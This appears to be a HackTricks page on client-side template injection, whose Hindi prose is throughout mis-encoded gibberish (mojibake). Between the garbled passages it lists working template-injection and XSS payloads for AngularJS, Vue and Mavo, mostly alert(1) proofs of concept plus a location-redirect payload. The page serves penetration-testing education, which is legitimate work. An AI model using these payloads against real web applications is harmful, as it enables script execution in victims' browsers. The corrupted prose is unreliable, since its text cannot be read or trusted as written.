8.6 KiB
Client Side Template Injection (CSTI)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Summary
рдпрд╣ Server Side Template Injection рдХреА рддрд░рд╣ рд╣реИ рд▓реЗрдХрд┐рди client рдореЗрдВред SSTI рдЖрдкрдХреЛ remote server рдкрд░ рдХреЛрдб execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ, CSTI рдЖрдкрдХреЛ victim's browser рдореЗрдВ рдордирдорд╛рдирд╛ JavaScript рдХреЛрдб execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП Testing SSTI рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдмрд╣реБрдд similar рд╣реИ, interpreter рдПрдХ template рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ execute рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ payload рдЬреИрд╕реЗ {{ 7-7 }}
рдХреЗ рд╕рд╛рде, рдпрджрд┐ рдРрдк vulnerable рд╣реИ рддреЛ рдЖрдк 0
рджреЗрдЦреЗрдВрдЧреЗ, рдФрд░ рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рдЖрдк рдореВрд▓ рджреЗрдЦреЗрдВрдЧреЗ: {{ 7-7 }}
AngularJS
AngularJS рдПрдХ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ JavaScript framework рд╣реИ рдЬреЛ HTML рдХреЗ рд╕рд╛рде attributes рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ directives рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп ng-app
рд╣реИред рдпрд╣ directive AngularJS рдХреЛ HTML рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдбрдмрд▓ рдХрд░реНрд▓реА рдмреНрд░реЗрд╕реЗрд╕ рдХреЗ рдЕрдВрджрд░ JavaScript expressions рдХреЗ execution рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред
рдРрд╕реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ ng-app
рдХреЗ рд╕рд╛рде рдЯреИрдЧ рдХрд┐рдП рдЧрдП HTML body рдореЗрдВ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдбрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдордирдорд╛рдирд╛ JavaScript рдХреЛрдб execute рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпрд╣ рдЗрдирдкреБрдЯ рдХреЗ рднреАрддрд░ AngularJS рдХреА syntax рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдиреАрдЪреЗ рдЙрджрд╛рд╣рд░рдг рджрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ JavaScript рдХреЛрдб execute рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
рдЖрдк рдЗрд╕ рдмреБрдирд┐рдпрд╛рджреА рдСрдирд▓рд╛рдЗрди рдЙрджрд╛рд╣рд░рдг рдХреЛ AngularJS рдореЗрдВ рдЗрд╕ рд▓рд┐рдВрдХ рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ http://jsfiddle.net/2zs2yv7o/ рдФрд░ Burp Suite Academy рдореЗрдВ
{% hint style="danger" %}
Angular 1.6 рдиреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЗрд╕рд▓рд┐рдП рдЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рдПрдХ рдкреЗрд▓реЛрдб рдЬреИрд╕реЗ {{constructor.constructor('alert(1)')()}}
рдпрд╛ <input ng-focus=$event.view.alert('XSS')>
рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
{% endhint %}
VueJS
рдЖрдк рдПрдХ рдХрдордЬреЛрд░ Vue рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЗрд╕ рд▓рд┐рдВрдХ рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ https://vue-client-side-template-injection-example.azu.now.sh/
рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
рдФрд░ рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб рдпрд╣рд╛рдБ рд╣реИ: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
CSTI рдкрд░ VUE рдореЗрдВ рдПрдХ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдкреЛрд╕реНрдЯ https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
рдЕрдзрд┐рдХ VUE рдкреЗрд▓реЛрдбреНрд╕ рджреЗрдЦреЗрдВ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
рдЕрдзрд┐рдХ рдкреЗрд▓реЛрдбреНрд╕ https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди рд▓рд┐рд╕реНрдЯ
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{% hint style="success" %}
рд╕реАрдЦреЗрдВ рдФрд░ рдкреНрд░реИрдХреНрдЯрд┐рд╕ рдХрд░реЗрдВ AWS рд╣реИрдХрд┐рдВрдЧ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ рдкреНрд░реИрдХреНрдЯрд┐рд╕ рдХрд░реЗрдВ GCP рд╣реИрдХрд┐рдВрдЧ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ!
- рдЬреБрдбрд╝реЗрдВ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдпрд╛ рд╣рдореЗрдВ Twitter ЁЯРж @hacktricks_live** рдкрд░ рдлреЙрд▓реЛ рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ PRs рдХреЛ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ рд╕рдмрдорд┐рдЯ рдХрд░рдХреЗред